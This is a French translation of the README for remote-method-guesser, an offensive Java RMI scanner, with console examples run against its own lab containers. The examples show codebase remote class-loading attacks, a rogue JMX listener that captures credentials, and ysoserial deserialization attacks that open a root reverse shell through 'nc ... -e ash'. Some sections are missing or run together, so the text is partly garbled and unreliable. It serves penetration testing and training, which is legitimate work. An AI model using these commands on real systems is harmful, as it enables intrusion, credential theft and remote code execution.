remote-method-guesser

remote-method-guesser a été présenté à Black Hat USA2021 dans le cadre des sessions Arsenal. L'enregistrement de la session et les diapositives correspondantes sont disponibles publiquement et peuvent être trouvés via les liens suivants :

• Diapositives : https://www.slideshare.net/TobiasNeitzel/remotemethodguesser-bhusa2021-arsenal
• Enregistrement : https://youtu.be/t_aw1mDNhzI

Le dépôt remote-method-guesser contient trois serveurs d'exemple qui peuvent être utilisés pour s'entraîner à l'énumération et aux attaques Java RMI. Le rmg-example-server expose des services RMI classiques qui peuvent être énumérés et exploités à l'aide de remote-method-guesser. Le rmg-ssrf-server expose un service HTTP vulnérable aux attaques SSRF et exécute des services RMI qui écoutent uniquement sur localhost. Cela peut être utilisé pour s'entraîner avec les options --ssrf et --ssrf-response de remote-method-guesser. Le spring-remoting-server expose des interfaces RMI créées via Spring Remoting. Elles sont un peu différentes du Java RMI classique et peuvent être utilisées pour tester l'intégration associée de Spring Remoting dans remote-method-guesser. Tous les serveurs sont disponibles en tant que conteneurs dans le GitHub Container Registry :

• SSRF Server GitHub Package
• Example Server GitHub Package
• Spring Remoting Server GitHub Package

Table of Contents

• Installation
• Supported Operations
  • bind, rebind and unbind
  • call
  • codebase
  • enum
  • guess
  • known
  • listen
  • objid
  • roguejmx
  • scan
  • serial
• More Features
• Docker Image
• Acknowledgements

Installation

rmg est un projet maven et l'installation devrait être simple. Avec maven installé, exécutez simplement les commandes suivantes pour créer un fichier .jar exécutable :```console $ git clone https://github.com/qtc-de/remote-method-guesser $ cd remote-method-guesser $ mvn package

Opérations prises en charge

Dans ce qui suit, de courts exemples pour chaque opération disponible sont présentés. Pour une description plus détaillée, vous devriez lire le dossier de documentation qui contient des informations plus détaillées sur rmg et Java RMI en général. Tous les exemples présentés sont basés sur le rmg-example-server et le rmg-ssrf-server. Tous deux sont contenus dans ce dépôt dans le dossier docker et peuvent être utilisés pour pratiquer l'énumération Java RMI. Vous pouvez soit construire les conteneurs correspondants vous-même, soit les charger directement depuis le GitHub Container Registry.```console [qtc@devbox ~]$ rmg -h usage: remote-method-guesser [-h] action ...

rmg v4.0.0 - a Java RMI Vulnerability Scanner

positional arguments: action
bind Binds an object to the registry thats points to listener call Regulary calls a method with the specified arguments codebase Perform remote class loading attacks enum Enumerate common vulnerabilities on Java RMI endpoints guess Guess methods on bound names known Display details of known remote objects listen Open ysoserials JRMP listener objid Print information contained within an ObjID rebind Rebinds boundname as object that points to listener roguejmx Creates a rogue JMX listener (collect credentials) scan Perform an RMI service scan on common RMI ports serial Perform deserialization attacks against default RMI components unbind Removes the specified bound name from the registry

named arguments: -h, --help show this help message and exit

En utilisant le Plugin System de remote-method-guesser, il est également possible de lier des objets personnalisés au registre RMI. Pour en savoir plus sur le Plugin System, veuillez vous référer au dossier de documentation.

call

En utilisant l'action call de remote-method-guesser, vous pouvez invoquer des méthodes distantes sans écrire de code Java. Considérez la méthode String execute(String cmd) qui existe sur le serveur distant. Cette méthode semble prometteuse et vous pourriez vouloir l'invoquer en utilisant un appel Java RMI classique. Cela peut être fait en utilisant la commande suivante :```console [qtc@devbox ~]$ rmg call 172.17.0.2 9010 '"wget 172.17.0.1:8000/worked"' --signature 'String execute(String cmd)' --bound-name plain-server [qtc@devbox www]$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.17.0.2 - - [30/Nov/2021 07:19:06] "GET /worked HTTP/1.1" 200 -

Lors de l'action call, les arguments fournis sont évalués en tant qu'expression Java en les insérant dans le modèle suivant : new Object[]{ arg1, arg2, arg3, ... }. Par conséquent, vous devez vous assurer que vos arguments fournis correspondent à ce modèle. Par exemple, utiliser "id" comme argument entraîne une erreur, car l'argument est passé comme id à remote-method-guesser et l'expression résultante new Object[]{ id } n'est pas une expression Java valide. Au lieu de cela, vous devez utiliser '"id"' car cela donne new Object[]{ "id" }, qui est valide.

De plus, les types primitifs doivent être spécifiés dans leur représentation objet correspondante (par exemple new Integer(5) au lieu de 5). Sinon, ils ne peuvent pas être utilisés dans le tableau Object[] créé par l'expression Java. Lors de l'appel RMI, les arguments correspondants sont utilisés comme prévu et correspondront à la signature de méthode que vous avez spécifiée. Pour des cas d'utilisation plus complexes, vous pouvez également définir un ArgumentProvider personnalisé en utilisant le système de plugins de remote-method-guesser.

codebase

Java RMI prend en charge une fonctionnalité appelée codebases, où le client et le serveur peuvent spécifier des URLs lors des appels RMI qui peuvent être utilisées pour charger dynamiquement des classes inconnues. Si un serveur RMI accepte un codebase spécifié par le client, cela peut conduire à une exécution de code à distance lorsque le client fournit une classe Java malveillante lors de la communication RMI.

La configuration du codebase sur un serveur RMI peut être différente pour les différents composants : Activator, DGC, Registry et Application Level. remote-method-guesser vous permet de tester chaque composant individuellement en utilisant soit --signature <method> (niveau application), --component act (activateur), --component dgc (ramasse-miettes distribué) ou --component reg (registre RMI) avec l'action codebase.

Application Level:```console [qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --signature "String login(java.util.HashMap dummy1)" --bound-name legacy-service [+] Attempting codebase attack on RMI endpoint... [+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during login call. [+] [+] Using non primitive argument type java.util.HashMap on position 0 [+] Specified method signature is String login(java.util.HashMap dummy1) [+] [+] Remote class loader attempted to load dummy class 267eaee13b9e46d2ada471016d693b14 [+] Codebase attack probably worked :) [+] [+] If where was no callback, the server did not load the attack class ExampleClass.class. [+] The class is probably known by the server or it was already loaded before. [+] In this case, you should try a different classname.

[qtc@devbox www]$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.17.0.2 - - [30/Nov/2021 07:23:39] "GET /ExampleClass.class HTTP/1.1" 200 - 172.17.0.2 - - [30/Nov/2021 07:23:39] "GET /267eaee13b9e46d2ada471016d693b14.class HTTP/1.1" 404 -

Collecteur de déchets distribué:```console [qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component dgc [+] Attempting codebase attack on DGC endpoint... [+] Using class Example with codebase http://172.17.0.1:8000/ during clean call. [+] [+] Caught ClassCastException during codebase attack. [+] Codebase attack most likely worked :)

[qtc@devbox www]$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.17.0.2 - - [30/Nov/2021 07:26:53] "GET /ExampleClass.class HTTP/1.1" 200 -

enum

L'action enum effectue plusieurs vérifications sur le point d'accès Java RMI spécifié et affiche les résultats correspondants. Pour une explication plus détaillée sur la sortie générée par l'action enum, vous pouvez lire la page de documentation correspondante.```console [qtc@devbox ~]$ rmg enum 172.17.0.2 9010 [+] RMI registry bound names: [+] [+] - plain-server2 [+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff7, -3079588349672331489] [+] - legacy-service [+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class) [+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ffc, -2969569395601583761] [+] - plain-server [+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff8, 1319708214331962145] [+] [+] RMI server codebase enumeration: [+] [+] - http://iinsecure.example/well-hidden-development-folder/ [+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub [+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer [+] [+] RMI server String unmarshalling enumeration: [+] [+] - Caught ClassNotFoundException during lookup call. [+] --> The type java.lang.String is unmarshalled via readObject(). [+] Configuration Status: Outdated [+] [+] RMI server useCodebaseOnly enumeration: [+] [+] - Caught MalformedURLException during lookup call. [+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false). [+] Configuration Status: Non Default [+] [+] RMI registry localhost bypass enumeration (CVE-2019-2684): [+] [+] - Caught NotBoundException during unbind call (unbind was accepeted). [+] Vulnerability Status: Vulnerable [+] [+] RMI Security Manager enumeration: [+] [+] - Security Manager rejected access to the class loader. [+] --> The server does use a Security Manager. [+] Configuration Status: Current Default [+] [+] RMI server JEP290 enumeration: [+] [+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed). [+] Vulnerability Status: Non Vulnerable [+] [+] RMI registry JEP290 bypass enumeration: [+] [+] - Caught IllegalArgumentException after sending An Trinh gadget. [+] Vulnerability Status: Vulnerable [+] [+] RMI ActivationSystem enumeration: [+] [+] - Caught IllegalArgumentException during activate call (activator is present). [+] --> Deserialization allowed - Vulnerability Status: Vulnerable [+] --> Client codebase enabled - Configuration Status: Non Default

known

Lors de l'exécution de l'action enum, remote-method-guesser marque les noms liés disponibles sur le registre RMI soit comme connus soit comme inconnus. Cette décision dépend de la classe qui est implémentée par le nom lié correspondant et du fait que la classe correspondante soit contenue dans la liste des points d'extrémité connus qui se trouve dans le dépôt remote-method-guesser. Lorsqu'un nom lié est marqué comme connu, vous pouvez utiliser l'action known sur la classe correspondante. Cela permet d'obtenir des informations sur la classe correspondante, comme les méthodes distantes disponibles, une description générale et les vulnérabilités possibles :```console [qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 5 [+] RMI registry bound names: [+] [+] - jmxrmi [+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server) [+] Endpoint: iinsecure.example:41991 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]

[qtc@devbox ~]$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] Name: [+] JMX Server [+] [+] Class Name: [+] - javax.management.remote.rmi.RMIServerImpl_Stub [+] - javax.management.remote.rmi.RMIServer [+] [+] Description: [+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine. [+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient [+] method usually passing a HashMap that contains connection options (e.g. credentials). The return [+] value (RMIConnection object) is another remote object that is when used to perform JMX related [+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id. [+] [+] Remote Methods: [+] - String getVersion() [+] - javax.management.remote.rmi.RMIConnection newClient(Object params) [+] [+] References: [+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html [+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi [+] [+] Vulnerabilities: [+] [+] ----------------------------------- [+] Name: [+] MLet [+] [+] Description: [+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load [+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean [+] is therefore most of the time equivalent to remote code execution. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter [+] [+] ----------------------------------- [+] Name: [+] Deserialization [+] [+] Description: [+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient [+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the [+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can [+] establish a working JMX connection, you can also perform deserialization attacks. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter

objid

L'action objid peut être utilisée pour afficher des informations plus détaillées sur un ObjID. Chaque RemoteObject se voit attribuer un ObjID lorsqu'il est exporté par le runtime RMI. La connaissance de la valeur ObjID est nécessaire pour communiquer avec un RemoteObject, ce qui explique pourquoi vous avez généralement besoin d'un registre RMI. Le registre RMI contient le ObjID pour chaque nom lié et remote-method-guesser les affiche lors de l'action enum.```console [qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n11 [+] RMI registry bound names: [+] [+] - plain-server2 [+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646] [+] - legacy-service [+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class) [+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ffc, 625759208507801754] [+] - plain-server [+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff8, -6355415622579283910]

La plupart des informations affichées ne sont pas très utiles, mais la valeur Time peut être intéressante. Cette valeur contient l'heure à laquelle le RemoteObject a été créé. Elle permet donc de déterminer des éléments comme la durée de fonctionnement d'un serveur RMI.

scan

Parfois, vous identifiez des services qui sont souvent accompagnés de composants Java RMI avec eux (JBoss, Solr, Tomcat, ...), mais vous ne souhaitez pas effectuer un scan complet des ports sur l'hôte correspondant. Dans ces situations, l'action scan peut être utile. Elle effectue un scan rapide des ports pour les ports RMI courants uniquement et tente d'identifier les services RMI sur ceux-ci :```console [qtc@devbox ~]$ rmg scan 172.17.0.2 [+] Scanning 112 Ports on 172.17.0.2 for RMI services. [+] [+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC) [+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC) [+] [119 / 119] [#############################] 100% [+] [+] Portscan finished.

Notez que l'action scan est implémentée de manière simple et peu fiable. Si possible, vous devriez toujours effectuer un scan de ports dédié avec des outils comme nmap. Cependant, l'action scan peut vous donner un aperçu rapide pour trouver des ports RMI.

roguejmx

L'action roguejmx crée un écouteur JMX sur votre système qui capture les identifiants des connexions entrantes. Après avoir créé l'écouteur, remote-method-guesser affiche la valeur ObjID nécessaire pour interagir avec lui.```console [qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 [+] Statring RogueJMX Server on 172.17.0.1:4444 [+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]

Les connexions entrantes sont journalisées par le listener:```console [qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 [+] Statring RogueJMX Server on 172.17.0.1:4444 [+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722] [+] [+] Got incoming call for newClient(...) [+] Username: admin [+] Password: s3crEt!

2. L'adresse IP et le port du service JMX lui-même ainsi que sa valeur ObjID : ```console [qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 --forward-host 172.17.0.2 --forward-port 41001 --forward-objid '[-40935072:17cd9fc77c4:-7ff8, 6731522247396892423]' [+] Statring RogueJMX Server on 172.17.0.1:4444 [+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722] [+] --> Forwarding connections to: 172.17.0.2:41001:[-40935072:17cd9fc77c4:-7ff8, 6731522247396892423] [+]

Dans le cas du RMI registry, les filtres de déserialisation peuvent être contournés en utilisant les gadgets de contournement JRMPClient ou An Trinh. Ces gadgets créent un canal RMI sortant qui n'applique plus les filtres de déserialisation. Sur ce canal, les attaques par déserialisation peuvent être appliquées comme d'habitude, mais les deux contournements ont été corrigés dans les versions les plus récentes de Java RMI.```console [qtc@devbox ~]$ rmg serial 172.17.0.2 9010 AnTrinh 172.17.0.1:4444 --component reg [+] Attempting deserialization attack on RMI Registry endpoint... [+] [+] Caught javax.management.BadAttributeValueExpException during deserialization attack. [+] This could be caused by your gadget an the attack probably worked anyway. [+] If it did not work, you can retry with --stack-trace to see the details.

[qtc@devbox ~]$ rmg listen 172.17.0.1 4444 CommonsCollections6 'nc 172.17.0.1 4445 -e ash' [+] Creating ysoserial payload... done. [+] Creating a JRMPListener on 172.17.0.1:4444. [+] Handing off to ysoserial... Have connection from /172.17.0.2:55470 Reading message... Sending return with payload for obj [0:0:0, 123] Closing connection

[qtc@devbox ~]$ nc -vlp 4445 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4445 Ncat: Listening on 0.0.0.0:4445 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:45429. id uid=0(root) gid=0(root) groups=0(root)

Niveau Application

Alors que les implémentations modernes de Java RMI protègent les composants RMI bien connus avec des filtres de désérialisation par défaut, les RemoteObjects personnalisés (véritables applications RMI) ne sont généralement pas protégés. Les méthodes distantes qui n'utilisent pas seulement des types primitifs dans leurs arguments peuvent donc être utilisées pour des attaques par désérialisation. Cet article de blog de Hans-Martin Münch explique ce problème plus en détail. remote-method-guesser peut être utilisé pour vérifier facilement de telles vulnérabilités. Par exemple, nous pouvons utiliser la méthode String login(java.util.HashMap dummy1) du serveur d'exemple de remote-method-guesser pour effectuer une attaque par désérialisation :```console [qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --signature 'String login(java.util.HashMap dummy1)' --bound-name legacy-service [+] Creating ysoserial payload... done. [+] [+] Attempting deserialization attack on RMI endpoint... [+] [+] Using non primitive argument type java.util.HashMap on position 0 [+] Specified method signature is String login(java.util.HashMap dummy1) [+] [+] Caught ClassNotFoundException during deserialization attack. [+] Server attempted to deserialize dummy class c0ba245a659945bb93a49a3ab4b1e430. [+] Deserialization attack probably worked :)

[qtc@devbox ~]$ nc -vlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:35377. id uid=0(root) gid=0(root) groups=0(root)

Remerciements

remote-method-guesser a été fortement influencé par les articles de blog de Hans-Martin Münch et Jake Miller. De plus, la liste de mots rmiscout a été évidemment copiée du projet rmiscout (comme vous pouvez déjà le constater par l'accord de licence différent). Merci Jake pour cette formidable liste de méthodes distantes collectées à partir de différents dépôts GitHub.

Copyright 2023, Tobias Neitzel et les contributeurs de remote-method-guesser.